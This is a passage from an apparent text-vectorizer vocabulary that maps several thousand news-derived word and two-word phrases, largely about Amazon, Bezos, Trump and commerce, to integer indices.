"fedex share": 140635, "established statutory": 140636, "exactly accurate": 140637, "piecemeal": 140638, "sided information": 140639, "media knowingly": 140640, "nyse nasdaq": 140641, "ideologies ellison": 140642, "nonbinding": 140643, "provided ahead": 140644, "outlandish claims": 140645, "suspicious political": 140646, "power corrupts": 140647, "personal purposes": 140648, "proportion": 140649, "massive internet": 140650, "wage gives": 140651, "emotional retrospective": 140652, "nerves": 140653, "agitation": 140654, "make 20amer": 140655, "national scandal": 140656, "credits meant": 140657, "great": 140658, "tech tyranny": 140659, "shipping charges": 140660, "aapl expert": 140661, "dawsey collaboration": 140662, "rated amc": 140663, "impropriety": 140664, "washington region": 140665, "barry ritholtz": 140666, "firm exposed": 140667, "stocks fell": 140668, "abducted": 140669, "awkward conversation": 140670, "seeing remarkable": 140671, "coles": 140672, "skit ends": 140673, "baker": 140674, "records indicate": 140675, "potentially explosive": 140676, "itc": 140677, "ministries": 140678, "2017 eliminated": 140679, "mackonpolitics": 140680, "siblings owned": 140681, "anti vaxxers": 140682, "shopper scans": 140683, "owns invested": 140684, "captivating series": 140685, "shapiro political": 140686, "fear": 140687, "lady flies": 140688, "caption getty": 140689, "hydro": 140690, "garden gun": 140691, "risk financial": 140692, "david fink": 140693, "gun loving": 140694, "kessler foto": 140695, "vinden plaats": 140696, "help neutralize": 140697, "refugee invasion": 140698, "springsteen": 140699, "data economists": 140700, "troops abroad": 140701, "normally loathe": 140702, "including office": 140703, "congress drew": 140704, "harper paperbacks": 140705, "succession despite": 140706, "washington bezos": 140707, "trump role": 140708, "trumpjoin": 140709, "shesaid": 140710, "jay kamhi": 140711, "entry level": 140712, "amounts initial": 140713, "slowly service": 140714, "post wrote": 140715, "falling steadily": 140716, "1pw8zh2fsw": 140717, "flip power": 140718, "includes multi": 140719, "costco cheap": 140720, "carousel": 140721, "time add": 140722, "discounted shipping": 140723, "monitored": 140724, "mgmt invested": 140725, "material consequence": 140726, "cut incentivized": 140727, "circulated": 140728, "terrible crimes": 140729, "union united": 140730, "ju cut": 140731, "comment schuster": 140732, "routinely described": 140733, "know mayor": 140734, "importing oil": 140735, "2000 blue": 140736, "additional packages": 140737, "walton cites": 140738, "president role": 140739, "finance read": 140740, "unitedhealth optum": 140741, "sucrose": 140742, "shopping days": 140743, "american journalism": 140744, "meeting": 140745, "statewide candidates": 140746, "mounted": 140747, "fa ha": 140748, "refute": 140749, "question mcdowell": 140750, "willowy": 140751, "marriage soon": 140752, "contaminates": 140753, "area bernstein": 140754, "statistics 267018": 140755, "bundle function": 140756, "stock definitely": 140757, "women won": 140758, "buy eat": 140759, "aide failed": 140760, "report clicking": 140761, "violates federal": 140762, "richer": 140763, "disc": 140764, "r4ee b9e": 140765, "chunying": 140766, "job postings": 140767, "repeated claims": 140768, "potential reasons": 140769, "campaign wedge": 140770, "fec records": 140771, "kibosh": 140772, "930 applications": 140773, "copious amounts": 140774, "makes good": 140775, "cochrane": 140776, "seeking comment": 140777, "scottish parliament": 140778, "eliot": 140779, "washington foundation": 140780, "york offices": 140781, "hardcover book": 140782, "meeting andrew": 140783, "diseases keeps": 140784, "industry disruptor": 140785, "manufacturers supply": 140786, "neighborhood new": 140787, "desk filled": 140788, "interplay": 140789, "screening google": 140790, "reportedly continues": 140791, "nearly 200": 140792, "microsoft bosses": 140793, "tweets concerns": 140794, "editorial noted": 140795, "keerthy1995": 140796, "participant": 140797, "official meeting": 140798, "dominant position": 140799, "package coalition": 140800, "fight grind": 140801, "rail sound": 140802, "reportedly helped": 140803, "u0": 140804, "irs owns": 140805, "republican disapproves": 140806, "height 120": 140807, "viewpoint diversity": 140808, "germany lost": 140809, "privacy regulations": 140810, "rulings": 140811, "apprenticeship": 140812, "strengthen vulnerable": 140813, "project twitter": 140814, "guwahati samsung": 140815, "week installment": 140816, "competitors conclusion": 140817, "x6cue l7": 140818, "ryan costello": 140819, "strippers": 140820, "deutsche bank": 140821, "abby ellin": 140822, "media low": 140823, "tough market": 140824, "warren presidential": 140825, "openly despises": 140826, "biggest player": 140827, "charge varying": 140828, "secretary elaine": 140829, "pbm business": 140830, "field donald": 140831, "controls congress": 140832, "prince saudi": 140833, "entire shipping": 140834, "overall performance": 140835, "hbpnbausja": 140836, "sells huge": 140837, "spared little": 140838, "offered dirt": 140839, "1990s video": 140840, "speaking": 140841, "geofenced": 140842, "head lower": 140843, "nearly 800": 140844, "conrad": 140845, "isn pretty": 140846, "ebay free": 140847, "answer space": 140848, "guardian women": 140849, "acquires mar": 140850, "industrial companies": 140851, "slight hit": 140852, "unmasking": 140853, "works later": 140854, "earlier adaptation": 140855, "exquisitely describes": 140856, "owns 717": 140857, "global sustainable": 140858, "television company": 140859, "harming local": 140860, "judge considering": 140861, "lol redhotblaziken": 140862, "economic impacts": 140863, "workers drawn": 140864, "communities atini": 140865, "assumed oversight": 140866, "sequitur looked": 140867, "curator": 140868, "pricing flexibility": 140869, "furnish carriers": 140870, "lawsuit alleges": 140871, "previously senior": 140872, "fences": 140873, "dangerous environments": 140874, "lighter gear": 140875, "bank government": 140876, "megdal": 140877, "economist finite": 140878, "resolution funding": 140879, "attempted billion": 140880, "governments force": 140881, "unsuccessful negotiation": 140882, "clearance index": 140883, "ami published": 140884, "complaint centred": 140885, "took closer": 140886, "easy period": 140887, "commerce content": 140888, "pending antitrust": 140889, "pity": 140890, "just based": 140891, "new big": 140892, "false conspiracy": 140893, "spill": 140894, "ideological sides": 140895, "incentives": 140896, "earnings plunge": 140897, "actually supposed": 140898, "uncomfortable asking": 140899, "provider ambitions": 140900, "1534392060": 140901, "encouraged amazon": 140902, "state comptroller": 140903, "revamp youtube": 140904, "johnson freedom": 140905, "justin sink": 140906, "rebellion deals": 140907, "sacramento police": 140908, "overseas retailers": 140909, "srcdoc a4ee": 140910, "conspirator": 140911, "manhattan long": 140912, "tastemade": 140913, "annual notorious": 140914, "overall rate": 140915, "run political": 140916, "spells trouble": 140917, "reversal trump": 140918, "cloud built": 140919, "giants trump": 140920, "dense urban": 140921, "degree murder": 140922, "defineproperties a4ee": 140923, "final note": 140924, "exterior jpg": 140925, "action packed": 140926, "uganda": 140927, "waysactually": 140928, "include managing": 140929, "cemetary sic": 140930, "large fines": 140931, "term fix": 140932, "curated": 140933, "digital experience": 140934, "expressed reservations": 140935, "expecting real": 140936, "nick turner": 140937, "netroots": 140938, "stunning blog": 140939, "amazon relational": 140940, "payment process": 140941, "significant surge": 140942, "desires": 140943, "hackers targeted": 140944, "dramatic reversal": 140945, "college admission": 140946, "toxins": 140947, "emanuel campaign": 140948, "settlement billion": 140949, "attacks san": 140950, "yelp great": 140951, "love amazon": 140952, "netflix kiernan": 140953, "criticizing rekognition": 140954, "coons senate": 140955, "revivei5": 140956, "000 union": 140957, "accuses national": 140958, "raise shipping": 140959, "occurred rep": 140960, "different plaintiffs": 140961, "businessdealings": 140962, "incentives despite": 140963, "bolded phrase": 140964, "australia post": 140965, "allowing people": 140966, "situation rob": 140967, "captured roughly": 140968, "projections": 140969, "variable tolling": 140970, "suggested trump": 140971, "travel 2018": 140972, "jeered bezos": 140973, "fresh hope": 140974, "estimate pegs": 140975, "wonky donkey": 140976, "agent moves": 140977, "terminate": 140978, "interesting stat": 140979, "factual source": 140980, "notopoulos buzzfeed": 140981, "tycoon son": 140982, "user newsletter": 140983, "nicholas mother": 140984, "officially": 140985, "protestant minister": 140986, "manley": 140987, "assets 181004002630": 140988, "having steve": 140989, "robocall abuse": 140990, "reports stating": 140991, "york earlier": 140992, "recommended mailing": 140993, "youtube page": 140994, "separation lauren": 140995, "amazon network": 140996, "wing lineage": 140997, "codenamed": 140998, "kudlow responded": 140999, "people inside": 141000, "8711": 141001, "stanley estimates": 141002, "737": 141003, "pirro staunch": 141004, "deep rooted": 141005, "claims alertme": 141006, "won focus": 141007, "corporate works": 141008, "issue alibaba": 141009, "addressed president": 141010, "disclosed bezos": 141011, "stratosphere": 141012, "dwyre": 141013, "key brexit": 141014, "farewell": 141015, "told amazon": 141016, "email calls": 141017, "lululemon athletica": 141018, "million pounds": 141019, "green industrial": 141020, "following discussions": 141021, "bezos charitable": 141022, "fetched partly": 141023, "216": 141024, "reporter jonathan": 141025, "objects flynn": 141026, "cliff hawaii": 141027, "commodity prices": 141028, "history instead": 141029, "remember queen": 141030, "memorable trump": 141031, "zeide": 141032, "received test": 141033, "pain despite": 141034, "unionize amazon": 141035, "david ryder": 141036, "khashoggi trump": 141037, "ways right": 141038, "bad romances": 141039, "cook told": 141040, "unicorn transfix": 141041, "amazonhq2": 141042, "single digits": 141043, "directly implicating": 141044, "metals tariffs": 141045, "conservative figures": 141046, "sandberg facebook": 141047, "called new": 141048, "leak reveals": 141049, "coroners search": 141050, "benefits simultaneously": 141051, "stay relevant": 141052, "prized racing": 141053, "completely random": 141054, "favor especially": 141055, "spine": 141056, "chicago los": 141057, "woodwork": 141058, "1984 warns": 141059, "major regulatory": 141060, "pound nearly": 141061, "9pm": 141062, "microsoft motorola": 141063, "stifle western": 141064, "employer definition": 141065, "finance companies": 141066, "create privacy": 141067, "illegally obtaining": 141068, "begun 2018": 141069, "jon moeller": 141070, "workers makes": 141071, "smackdowns trump": 141072, "increasingly frustrated": 141073, "smart watch": 141074, "unanimous": 141075, "nostolgic chia": 141076, "sensational content": 141077, "strongly disapprove": 141078, "city join": 141079, "solely amazon": 141080, "circulated action": 141081, "smoothly": 141082, "cheaper potentially": 141083, "produce food": 141084, "constellation known": 141085, "globes": 141086, "doing today": 141087, "jovan": 141088, "packages haven": 141089, "james carville": 141090, "positive discussions": 141091, "question jeff": 141092, "states rights": 141093, "gop voter": 141094, "having turned": 141095, "fedex cfo": 141096, "insider purchases": 141097, "case high": 141098, "remove distortions": 141099, "best kitchen": 141100, "multiple media": 141101, "attached small": 141102, "amazon managers": 141103, "union sotu": 141104, "workers tell": 141105, "extreme inequality": 141106, "object o2x": 141107, "trial attorney": 141108, "penalty don": 141109, "44bil": 141110, "schumer announces": 141111, "losing control": 141112, "sellers huge": 141113, "alike recommendations": 141114, "launching firecracker": 141115, "president acting": 141116, "envelopes hitting": 141117, "da ea": 141118, "security guards": 141119, "constructive conversations": 141120, "weren abramson": 141121, "really thought": 141122, "vote senator": 141123, "face matches": 141124, "power comcast": 141125, "pivotal figure": 141126, "military bureaucrat": 141127, "popular version": 141128, "confidence consumer": 141129, "gerald suddenly": 141130, "hill staffer": 141131, "latinx rights": 141132, "amazon presents": 141133, "adjoining explanations": 141134, "chinese assembled": 141135, "writes trump": 141136, "unmatched global": 141137, "birmingham sent": 141138, "day parade": 141139, "companies excused": 141140, "today email": 141141, "pro amazon": 141142, "guaranteed flat": 141143, "condemnation": 141144, "report concede": 141145, "city socialists": 141146, "fcc net": 141147, "chief james": 141148, "chris mccorkle": 141149, "sourcelord": 141150, "mistake memo": 141151, "corn producer": 141152, "bezos status": 141153, "scotus won": 141154, "dabeard": 141155, "key role": 141156, "proactively police": 141157, "company bestsellers": 141158, "tensions appear": 141159, "sustain production": 141160, "taking possession": 141161, "joint plan": 141162, "scathing articles": 141163, "press briefing": 141164, "heartless": 141165, "slow big": 141166, "sanders sen": 141167, "greek": 141168, "fedexforum": 141169, "queen": 141170, "israel boycott": 141171, "conduct formal": 141172, "loudspeakers playing": 141173, "badly need": 141174, "deliver russia": 141175, "sources indicate": 141176, "cummings trump": 141177, "tariffs confidential": 141178, "preceding": 141179, "agree corporations": 141180, "service agreement": 141181, "costco company": 141182, "jarrett legal": 141183, "specifically cite": 141184, "major internet": 141185, "frida kahlo": 141186, "registered democrats": 141187, "page slides": 141188, "featuring white": 141189, "presenting evidence": 141190, "drugs": 141191, "camps 2017": 141192, "shining twins": 141193, "ashoka": 141194, "view streams": 141195, "lewinsky interview": 141196, "success stop": 141197, "agriculture department": 141198, "051": 141199, "rocket fuel": 141200, "kitcheniq": 141201, "republican general": 141202, "china mexico": 141203, "scarborough mccain": 141204, "pure altruism": 141205, "enforcement powers": 141206, "city poverty": 141207, "remarkable public": 141208, "kj6afdqzl7": 141209, "heroes don": 141210, "biggest fear": 141211, "series pinnacle": 141212, "country placed": 141213, "tours": 141214, "styles section": 141215, "including protracted": 141216, "exercises": 141217, "publishes digitally": 141218, "statement bet": 141219, "orbit felt": 141220, "covers damage": 141221, "party retailers": 141222, "huge market": 141223, "kept chugging": 141224, "market letters": 141225, "joel mcnally": 141226, "sooter": 141227, "warning notably": 141228, "issued guidance": 141229, "tongue": 141230, "amazon beachhead": 141231, "tjv previously": 141232, "skit addressed": 141233, "loved emily": 141234, "photo indystar": 141235, "comparative": 141236, "tm holdings": 141237, "money4": 141238, "bury damaging": 141239, "small overlap": 141240, "soldiers": 141241, "news leader": 141242, "deals link": 141243, "profit thing": 141244, "sally draper": 141245, "enjoyed scandal": 141246, "talking chaos": 141247, "related suit": 141248, "approved process": 141249, "progressives poised": 141250, "right democratic": 141251, "trends oil": 141252, "bishop michael": 141253, "builds tech": 141254, "cuts believe": 141255, "exposure risk": 141256, "avoid saying": 141257, "master hale": 141258, "vast digital": 141259, "analyst says": 141260, "dow plunges": 141261, "macron walked": 141262, "elder named": 141263, "little tl": 141264, "giant oracle": 141265, "amazon amazing": 141266, "verify work": 141267, "characters fighting": 141268, "better 2018": 141269, "kindle edition": 141270, "ex worker": 141271, "lead napolitano": 141272, "bland statements": 141273, "prime bundling": 141274, "send treasury": 141275, "island delegation": 141276, "39th district": 141277, "friends trump": 141278, "hurt kam": 141279, "mail facility": 141280, "year requires": 141281, "affair": 141282, "legal limits": 141283, "wapo matt": 141284, "sales run": 141285, "smirking": 141286, "jokes": 141287, "merely makes": 141288, "stoped": 141289, "list tariffs": 141290, "defined fascism": 141291, "demanded documents": 141292, "shares slipped": 141293, "longer grounded": 141294, "collins decision": 141295, "price wrote": 141296, "kroger recent": 141297, "se writer": 141298, "government housing": 141299, "share buyback": 141300, "legal profession": 141301, "available available": 141302, "campaign washington": 141303, "twist radic": 141304, "sidestepped": 141305, "helped fund": 141306, "legal precedent": 141307, "trump supporters": 141308, "ears": 141309, "mighty": 141310, "apparent": 141311, "potentially counterfeit": 141312, "a4ee r1": 141313, "verify participating": 141314, "cohosting": 141315, "school diplomas": 141316, "fared": 141317, "liar loan": 141318, "unveil new": 141319, "twitter posted": 141320, "genesis mini": 141321, "days ahead": 141322, "strike impacted": 141323, "outdoor products": 141324, "resigns greenland": 141325, "surveillance overlord": 141326, "streeteasy": 141327, "kathy gannon": 141328, "old grandmother": 141329, "heaven afro": 141330, "clean water": 141331, "chef competition": 141332, "president religious": 141333, "discourse regarding": 141334, "2016 hoverboard": 141335, "redstone": 141336, "robinhood": 141337, "ali amicaali": 141338, "wields leverage": 141339, "bic pocket": 141340, "value decided": 141341, "regional law": 141342, "seung": 141343, "cabinet room": 141344, "flub": 141345, "mark apple": 141346, "new houses": 141347, "attacks reached": 141348, "incorporate": 141349, "cranky": 141350, "evacuation": 141351, "scooter": 141352, "tower following": 141353, "trailed": 141354, "newon": 141355, "president set": 141356, "cnn collusion": 141357, "john heinzls": 141358, "screenx": 141359, "donnelly violated": 141360, "numerous cloud": 141361, "headlineposttext headlinepretext": 141362, "strict": 141363, "isis major": 141364, "nether reaches": 141365, "critical tweet": 141366, "categories says": 141367, "countryside": 141368, "marketers including": 141369, "faulkner": 141370, "learn time": 141371, "fm faces": 141372, "legal infrastructure": 141373, "policy justifications": 141374, "greater scrutiny": 141375, "olay skin": 141376, "device misinterpreting": 141377, "enabled jobs": 141378, "2016 journalist": 141379, "quipping": 141380, "shifting amazon": 141381, "german art": 141382, "anti defamation": 141383, "make strict": 141384, "filmmagic": 141385, "rival leaders": 141386, "tax 2018": 141387, "bat": 141388, "talent acquisition": 141389, "gibberish": 141390, "does dsp": 141391, "eve shows": 141392, "campaigns totaling": 141393, "2018 vanity": 141394, "terrace extending": 141395, "energy giants": 141396, "girl embedded": 141397, "copied wholesale": 141398, "lovers netflix": 141399, "honest": 141400, "anangbhai": 141401, "tpg": 141402, "videocollectionid current_video_collection": 141403, "coworking": 141404, "growing prime": 141405, "flatbed": 141406, "kick field": 141407, "2635": 141408, "notes trade": 141409, "detractors bezos": 141410, "patrick harris": 141411, "woodstock": 141412, "general says": 141413, "drug seller": 141414, "icann spent": 141415, "consuming parts": 141416, "presidential twitter": 141417, "morning respond": 141418, "radio talk": 141419, "national harbor": 141420, "alibabas jack": 141421, "vain": 141422, "mozambique": 141423, "honest today": 141424, "agent meaning": 141425, "couple play": 141426, "language imports": 141427, "weiss afp": 141428, "jamie siminoff": 141429, "worth plunged": 141430, "graffiti chef": 141431, "contractors walked": 141432, "read kitchen": 141433, "portfolio bryn": 141434, "amar manzoor": 141435, "azure maps": 141436, "industry rattled": 141437, "dangerously closer": 141438, "conference announcement": 141439, "120 36m": 141440, "articleelem": 141441, "charlottesville va": 141442, "economic troubles": 141443, "punish users": 141444, "950 million": 141445, "specific attacks": 141446, "trump makes": 141447, "matched": 141448, "trump saving": 141449, "point tumble": 141450, "center new": 141451, "goulding anup": 141452, "republicans highlighted": 141453, "030 shares": 141454, "party whatsoever": 141455, "2018 months": 141456, "components mentioned": 141457, "plans admit": 141458, "guess": 141459, "relations professor": 141460, "hughes stock": 141461, "anthem": 141462, "comments login": 141463, "markets 1531868602": 141464, "gallup": 141465, "debt woes": 141466, "judge lorna": 141467, "environment public": 141468, "developer technology": 141469, "cnl_contributor_accessflag": 141470, "drives prices": 141471, "bottles quick": 141472, "xinhuanet": 141473, "hard marvel": 141474, "waters yes": 141475, "instagram flipboard": 141476, "video leaf": 141477, "grievances bezos": 141478, "lucian freud": 141479, "dropper": 141480, "eu reach": 141481, "push pull": 141482, "hiring 500": 141483, "tenets": 141484, "published rock": 141485, "democratic vice": 141486, "hornedo rowan": 141487, "500 tennesseans": 141488, "retailer according": 141489, "ongoing relationship": 141490, "purchase data": 141491, "210": 141492, "story kudlow": 141493, "sens jeanne": 141494, "budgetary": 141495, "release gdp": 141496, "icann board": 141497, "daniel glass": 141498, "gao study": 141499, "amazon unfeasible": 141500, "lackey": 141501, "cisco stock": 141502, "multiple cities": 141503, "podcasting": 141504, "companies claims": 141505, "service sfb": 141506, "soil rivers": 141507, "closing bell": 141508, "impatient": 141509, "online feud": 141510, "lines positions": 141511, "current crop": 141512, "managers experts": 141513, "tabloid runs": 141514, "drama including": 141515, "rampback gives": 141516, "open data": 141517, "burger": 141518, "trump shutdown": 141519, "avoided investing": 141520, "workers receiving": 141521, "checks cash": 141522, "violent protests": 141523, "heart attacks": 141524, "help push": 141525, "demands tell": 141526, "kullgren": 141527, "evidently lot": 141528, "lofty 282": 141529, "4gb": 141530, "expert thank": 141531, "2016 despite": 141532, "employees companies": 141533, "health addressed": 141534, "john prehensileman": 141535, "selling counterfeits": 141536, "normally exerted": 141537, "cancel trump": 141538, "nolan": 141539, "desperation grow": 141540, "enquirer leak": 141541, "expert advice": 141542, "esl investments": 141543, "youthful buffett": 141544, "overheated expectations": 141545, "trump withdrew": 141546, "rep paul": 141547, "founders sergey": 141548, "terribly fact": 141549, "varying lighting": 141550, "jedi deal": 141551, "government workers": 141552, "story new": 141553, "releasing home": 141554, "jail time": 141555, "companies missing": 141556, "bulwark": 141557, "armstrong slightly": 141558, "underestimating amazon": 141559, "szklarski thecanadianpress": 141560, "billionaire rankings": 141561, "probably fairly": 141562, "reliant children": 141563, "stop robotexts": 141564, "portfolio according": 141565, "web measurement": 141566, "page warrant": 141567, "steep price": 141568, "various industries": 141569, "gain unfair": 141570, "2017 rourke": 141571, "lasership": 141572, "pentagon final": 141573, "schiraldi": 141574, "face facebook": 141575, "deal isn": 141576, "noah bookbinder": 141577, "post literal": 141578, "businesses delivering": 141579, "rubinstein asked": 141580, "enquirer secured": 141581, "president right": 141582, "business trends": 141583, "amazon probe": 141584, "ethical issues": 141585, "city breaking": 141586, "repeats": 141587, "cities want": 141588, "150": 141589, "largest greenfield": 141590, "nervous mark": 141591, "debases": 141592, "bezos jeffbezos": 141593, "lead primary": 141594, "russia waged": 141595, "tennessee": 141596, "operational improvements": 141597, "telcos certainly": 141598, "amazon reliance": 141599, "released according": 141600, "knockout": 141601, "forward jeff": 141602, "nearly 140": 141603, "think aetna": 141604, "economic bullets": 141605, "exempting": 141606, "record canada": 141607, "s3 public": 141608, "hidden gems": 141609, "massive mineral": 141610, "400 stores": 141611, "lock people": 141612, "502": 141613, "theory moved": 141614, "chef eddie": 141615, "talbot spokesman": 141616, "new lives": 141617, "monopo amazon": 141618, "reports maybe": 141619, "election time": 141620, "trump reddit": 141621, "production": 141622, "planet geekwire": 141623, "bills trump": 141624, "bhutanese": 141625, "wringer": 141626, "story sears": 141627, "trump directing": 141628, "startup thinks": 141629, "gaetz congressman": 141630, "6814": 141631, "major direct": 141632, "king claims": 141633, "bashes counter": 141634, "final day": 141635, "abuses caused": 141636, "origin race": 141637, "reporter earlier": 141638, "economy companies": 141639, "entered retail": 141640, "microsoft respectively": 141641, "pot trades": 141642, "beautifully laid": 141643, "horizon don": 141644, "twitter youtube": 141645, "startup slump": 141646, "schmitt director": 141647, "bank warns": 141648, "peace park": 141649, "saved hal": 141650, "computing entity": 141651, "smith icymi": 141652, "burning money": 141653, "preparation containing": 141654, "believe amazon": 141655, "virigina": 141656, "problems implying": 141657, "news just": 141658, "buyouts": 141659, "journal coverage": 141660, "california storm": 141661, "jordon 168": 141662, "mars sign": 141663, "pushing legislation": 141664, "daniel huttenlocher": 141665, "crude continued": 141666, "yesterday statements": 141667, "berkshires": 141668, "okcupid": 141669, "listen closely": 141670, "make sanctuary": 141671, "photos national": 141672, "estate carell": 141673, "special elections": 141674, "great innovations": 141675, "societal thing": 141676, "poster boy": 141677, "chukumba told": 141678, "salles brazilian": 141679, "storm pelosi": 141680, "make usps": 141681, "rip apart": 141682, "sanderson": 141683, "capitulating": 141684, "offers customers": 141685, "memes pic": 141686, "alexa listening": 141687, "worth total": 141688, "publication coverage": 141689, "eurotrip challenge": 141690, "labor silicon": 141691, "728 social": 141692, "hernandez sport": 141693, "voracious users": 141694, "don turner": 141695, "twitter ire": 141696, "best thriller": 141697, "prerecorded voice": 141698, "smartphone sales": 141699, "days report": 141700, "disability": 141701, "noted amazon": 141702, "moratorium rules": 141703, "m3": 141704, "rampaging right": 141705, "optimism": 141706, "shooting chase": 141707, "enemy satan": 141708, "molly yeh": 141709, "packing rates": 141710, "feature trump": 141711, "bicycles": 141712, "slr": 141713, "riese does": 141714, "yitzhak intraif": 141715, "climbs": 141716, "rushmore": 141717, "additional comments": 141718, "merchants deal": 141719, "van fleets": 141720, "copyrights": 141721, "industry quite": 141722, "ers": 141723, "day paterson": 141724, "strategies": 141725, "upbringing jerrelle": 141726, "famously alleged": 141727, "fact checks": 141728, "regulation pertaining": 141729, "manchester new": 141730, "public corporations": 141731, "second corporate": 141732, "major delivery": 141733, "reo reservoir": 141734, "lacerda moody": 141735, "ensnared trump": 141736, "barely scratched": 141737, "liberate": 141738, "decades federal": 141739, "acosta spoke": 141740, "dive insight": 141741, "calebecarma": 141742, "seller 1_5": 141743, "investors entertaining": 141744, "zappos foto": 141745, "initially lower": 141746, "health ceo": 141747, "descriptions": 141748, "wrong version": 141749, "paying steep": 141750, "chop shop": 141751, "michael lauren": 141752, "reese peanut": 141753, "agreement weren": 141754, "anticipated amc": 141755, "systematic global": 141756, "logistics competitive": 141757, "steep losses": 141758, "ihs": 141759, "acre building": 141760, "deterrence": 141761, "greatest hostage": 141762, "began reviewing": 141763, "including mrc": 141764, "getting taxed": 141765, "center left": 141766, "businesses public": 141767, "contracting world": 141768, "ecstatic sailor": 141769, "icbm testing": 141770, "jaunt": 141771, "nast": 141772, "apple ended": 141773, "time simplify": 141774, "clark told": 141775, "achieving higher": 141776, "lindsay walters": 141777, "civility wasn": 141778, "persistent attacks": 141779, "new freshmen": 141780, "efforts toys": 141781, "specialty drugs": 141782, "bezos steamy": 141783, "policy source": 141784, "pandering": 141785, "threats caused": 141786, "workforce say": 141787, "trump distort": 141788, "hold overseas": 141789, "similar style": 141790, "sellers yielded": 141791, "miracle economy": 141792, "request uncovered": 141793, "gilt dropped": 141794, "did american": 141795, "dethrone rep": 141796, "tony dwyer": 141797, "taking advantage": 141798, "model donald": 141799, "tech process": 141800, "africa amazon": 141801, "albany nick": 141802, "quarter usps": 141803, "new diesel": 141804, "legal fight": 141805, "genny ryan": 141806, "host resource": 141807, "viacom upgrade": 141808, "products german": 141809, "produce lcd": 141810, "access critical": 141811, "instagram alex": 141812, "paularmstrongtech": 141813, "eventually rose": 141814, "media ability": 141815, "potsof money": 141816, "collecting funds": 141817, "cca": 141818, "eventual transport": 141819, "stop donating": 141820, "frankly taxes": 141821, "kyushu": 141822, "products read": 141823, "alibaba accomplished": 141824, "877 billion": 141825, "sunset boulevard": 141826, "served cold": 141827, "common job": 141828, "technology manufacturing": 141829, "bezos having": 141830, "took particular": 141831, "greed bezos": 141832, "custody science": 141833, "worldwide\u0430before famously\u0430receiving": 141834, "report later": 141835, "i9 i9": 141836, "facebook employees": 141837, "unicorn riding": 141838, "solo": 141839, "bezos hinted": 141840, "etf 2019": 141841, "seen double": 141842, "novel concept": 141843, "dannyzuker": 141844, "kyle huebner": 141845, "wise charlotte": 141846, "sacrifice cult": 141847, "achieving better": 141848, "year ms": 141849, "help ensure": 141850, "predatory tactics": 141851, "pacifica": 141852, "making concerted": 141853, "west compared": 141854, "deal walker": 141855, "early retirement": 141856, "party stalwarts": 141857, "\u0142111million": 141858, "rich": 141859, "kambouris": 141860, "giants html": 141861, "start away": 141862, "win middle": 141863, "denied lighter": 141864, "tech including": 141865, "promote child": 141866, "received poor": 141867, "543 194": 141868, "tweet appears": 141869, "amazon changes": 141870, "sector adding": 141871, "sensors": 141872, "trump crusader": 141873, "terrorist attack": 141874, "greater brand": 141875, "francis think": 141876, "driehaus stated": 141877, "package systems": 141878, "ecuador": 141879, "hearing protest": 141880, "trump warns": 141881, "icontype video": 141882, "market expectations": 141883, "fellow business": 141884, "declarations": 141885, "400 billion": 141886, "president rubenstein": 141887, "fair marina": 141888, "owners predicted": 141889, "positive result": 141890, "stock fell": 141891, "ohio state": 141892, "defense dept": 141893, "faced financial": 141894, "ousts president": 141895, "celebrates special": 141896, "recently sen": 141897, "amazon 2019": 141898, "labatt": 141899, "reenacted star": 141900, "carolina port": 141901, "handle apple": 141902, "want right": 141903, "flowers arrived": 141904, "capex": 141905, "beijing bri": 141906, "million patients": 141907, "employee added": 141908, "partnerships amazon": 141909, "woodward expose": 141910, "different holidays": 141911, "engage": 141912, "public discourse": 141913, "diverted": 141914, "change lower": 141915, "list macy": 141916, "fell lot": 141917, "elections amazon": 141918, "design tl": 141919, "usps products": 141920, "dispute stretching": 141921, "average salary": 141922, "department sent": 141923, "moved west": 141924, "suppression": 141925, "beyer": 141926, "toppled president": 141927, "total sht": 141928, "austin texas": 141929, "tu rep": 141930, "web bernie": 141931, "arguably trump": 141932, "answered week": 141933, "edelman share": 141934, "road tougher": 141935, "faze": 141936, "tumultuous week": 141937, "avoid amazon": 141938, "collapse families": 141939, "discuss existing": 141940, "political organizations": 141941, "lockers allowing": 141942, "belt selfies": 141943, "ryan ori": 141944, "recruiters love": 141945, "principle 2018": 141946, "flies routes": 141947, "example tend": 141948, "recently fled": 141949, "jilted 236": 141950, "commerce mogul": 141951, "aq concept": 141952, "quoting extensively": 141953, "eliminating checkout": 141954, "defense costs": 141955, "kills": 141956, "playmate": 141957, "revenue benefits": 141958, "battle hardened": 141959, "litigated extensively": 141960, "hope trade": 141961, "products computers": 141962, "wells fargo": 141963, "better machines": 141964, "sell employees": 141965, "advertisement begins": 141966, "year buzz60": 141967, "simultaneously using": 141968, "amazon flex": 141969, "slumming": 141970, "imitation game": 141971, "celebrating amazon": 141972, "mijente field": 141973, "private fixers": 141974, "posting missives": 141975, "york bittersweet": 141976, "stencil": 141977, "accept people": 141978, "john sam": 141979, "compelling perk": 141980, "davison": 141981, "make wise": 141982, "editor responsible": 141983, "ravage entire": 141984, "2017 repeat": 141985, "big digital": 141986, "palestinian": 141987, "catz criticized": 141988, "chain wegmans": 141989, "calibre": 141990, "196 jeff": 141991, "kob monney": 141992, "allowing faked": 141993, "housing nycha": 141994, "brazilians exclusive": 141995, "gillibrand introduced": 141996, "aesthetics personalized": 141997, "seasonally strong": 141998, "enthralling contest": 141999, "herald staff": 142000, "shirts scott": 142001, "depletion loan": 142002, "wynne told": 142003, "onvideocarouselitemclicked": 142004, "protesters gather": 142005, "months contributed": 142006, "offering desperate": 142007, "added content": 142008, "goods positioned": 142009, "negative things": 142010, "raise consumer": 142011, "stockholders": 142012, "media outlet": 142013, "brewing trade": 142014, "advantage mean": 142015, "interpretations": 142016, "edith honan": 142017, "analyst karen": 142018, "utils existsobject": 142019, "refused trump": 142020, "niles think": 142021, "driven drama": 142022, "michelle obama": 142023, "attribute": 142024, "payments manhattan": 142025, "stories refn": 142026, "sr": 142027, "fiercely loyal": 142028, "nationalpost": 142029, "wisconsin teen": 142030, "strong asset": 142031, "released line": 142032, "new nokia": 142033, "public needs": 142034, "page vice": 142035, "preening": 142036, "boosters pointed": 142037, "beautiful showcase": 142038, "corporation holds": 142039, "author shira": 142040, "boom 2013": 142041, "brokered deal": 142042, "primary pharmacy": 142043, "sandyk5251": 142044, "president happy": 142045, "impact factories": 142046, "amazon including": 142047, "enquirer report": 142048, "innovative company": 142049, "volume online": 142050, "deal investors": 142051, "earliest supporters": 142052, "beautiful journey": 142053, "joined today": 142054, "embarrassing disclosure": 142055, "ave aurora": 142056, "enquirer obtained": 142057, "blistering shots": 142058, "recently served": 142059, "amazon feel": 142060, "visiting scholar": 142061, "spent fair": 142062, "increased tjv": 142063, "fell cigna": 142064, "jward56 bloomberg": 142065, 